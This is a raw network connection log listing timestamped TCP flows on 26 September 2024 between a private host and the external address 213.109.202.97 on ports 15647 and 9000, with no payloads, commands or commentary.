Sep 26, 2024 01:49:12.809963942 CEST	58383	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.814846992 CEST	15647	58383	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.825579882 CEST	58383	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.830384970 CEST	15647	58383	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.842767000 CEST	58383	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.847558022 CEST	15647	58383	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.857251883 CEST	58383	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.862113953 CEST	15647	58383	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.872590065 CEST	58383	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.877397060 CEST	15647	58383	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.884370089 CEST	58383	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.887886047 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.892637968 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.892697096 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.892910004 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.897624969 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.903635025 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.908410072 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.918500900 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.923276901 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.934161901 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.938990116 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.950926065 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.955990076 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.965594053 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.970484972 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.980915070 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:12.986345053 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:12.996795893 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.001992941 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.012590885 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.017438889 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.027913094 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.032732964 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.045603037 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.050319910 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.059926987 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.064846039 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.074752092 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.079519987 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.090342999 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.095124960 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.106060982 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.110845089 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.121687889 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.121912956 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.126458883 CEST	15647	58384	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.126511097 CEST	58384	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.137597084 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.142498970 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.142565012 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.142795086 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.147541046 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.154628038 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.159430981 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.168395996 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.173158884 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.184967041 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.189876080 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.199634075 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.205219030 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.215667009 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.220382929 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.230899096 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.236646891 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.249382019 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.254059076 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.262309074 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.267359972 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.277884960 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.287307024 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.293442965 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.298297882 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.309099913 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.313900948 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.326174974 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.331748009 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.345900059 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.350689888 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.380070925 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.384994984 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.387475967 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.392278910 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.402920961 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.409449100 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.418467045 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.423360109 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.434171915 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.440179110 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.453372955 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.458219051 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.466136932 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.471234083 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.491288900 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.496144056 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.496625900 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.501645088 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.513560057 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.518332958 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.529334068 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.534907103 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.557255983 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.562099934 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.575829029 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.580585003 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.599000931 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.827311993 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.828792095 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.833589077 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.836013079 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.840785980 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.896131039 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.900981903 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.925345898 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.930124998 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.935175896 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.939979076 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.952099085 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.956913948 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:13.984966993 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:13.990278006 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.003654003 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.008671045 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.016158104 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.021047115 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.028675079 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.033514977 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.045881033 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.050671101 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.060165882 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.065031052 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.074817896 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.079646111 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.090656996 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.095978022 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.100315094 CEST	9000	58378	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.100490093 CEST	58378	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.100625992 CEST	58378	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.106163025 CEST	9000	58378	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.107836962 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.113435984 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.122845888 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.127613068 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.137471914 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.139775038 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.182686090 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.182749987 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.187534094 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.187618017 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.192387104 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.202044010 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.207724094 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.216748953 CEST	58386	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.218215942 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.222372055 CEST	9000	58386	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.223432064 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.225581884 CEST	58386	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.225703001 CEST	58386	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.230403900 CEST	9000	58386	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.232172012 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.237021923 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.247581959 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.252567053 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.263351917 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.268202066 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.279179096 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.283981085 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.299122095 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.303926945 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.310026884 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.314801931 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.325720072 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.330533028 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.341860056 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.346741915 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.356514931 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.361289024 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.374109030 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.378959894 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.392108917 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.396976948 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.403978109 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.408749104 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.432394981 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.437210083 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.450735092 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.457674026 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.472578049 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.477344990 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.481565952 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.486309052 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.499659061 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.504416943 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.513093948 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.517826080 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.528275967 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.531167984 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.578160048 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.581520081 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.588368893 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.595088959 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.599864960 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.608119965 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.614525080 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.623002052 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.627758980 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.638945103 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.643672943 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.654522896 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.666954994 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.669054985 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.673856020 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.687216043 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.693619013 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.700659037 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.705415010 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.718480110 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.723305941 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.731843948 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.736843109 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.748368025 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.753201008 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.764976978 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.769809961 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.783531904 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.788321972 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.794262886 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.799036026 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.809531927 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.814323902 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.827557087 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.832376003 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.840938091 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.845774889 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.856843948 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.861747026 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.874917984 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.880278111 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.888185024 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.893146038 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.903760910 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.908529997 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.919368982 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.924176931 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.934925079 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.939783096 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.950829983 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:14.955724001 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.968885899 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:14.969050884 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.014699936 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.014751911 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.019573927 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.025146008 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.025161028 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.025224924 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.029206991 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.074621916 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.074810028 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.079629898 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.079710960 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.084472895 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.095679045 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.100889921 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.108227015 CEST	15647	58385	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.121179104 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.128922939 CEST	58385	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.137564898 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.142437935 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.142503023 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.142771006 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.147535086 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.153501987 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.158364058 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.168454885 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.173290014 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.186594963 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.191461086 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.200773954 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.205543041 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.215507030 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.220282078 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.231146097 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.235919952 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.246654987 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.251876116 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.262356997 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.267148018 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.280112028 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.284905910 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.293611050 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.298415899 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.310179949 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.315129042 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.324757099 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.329530001 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.340783119 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.345480919 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.356314898 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.361109972 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.376424074 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.381248951 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.387234926 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.392093897 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.404680967 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.409826040 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.418498039 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.423357964 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.434314966 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.439100027 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.450170994 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.455137968 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.468451023 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.473301888 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.481122971 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.486001968 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.497585058 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.502434969 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.512341976 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.517160892 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.528057098 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.532895088 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.543677092 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.548553944 CEST	15647	58387	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:15.561465025 CEST	58387	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:15.566279888 CEST	15647	58387	213.109.202.97	192.168.2.7
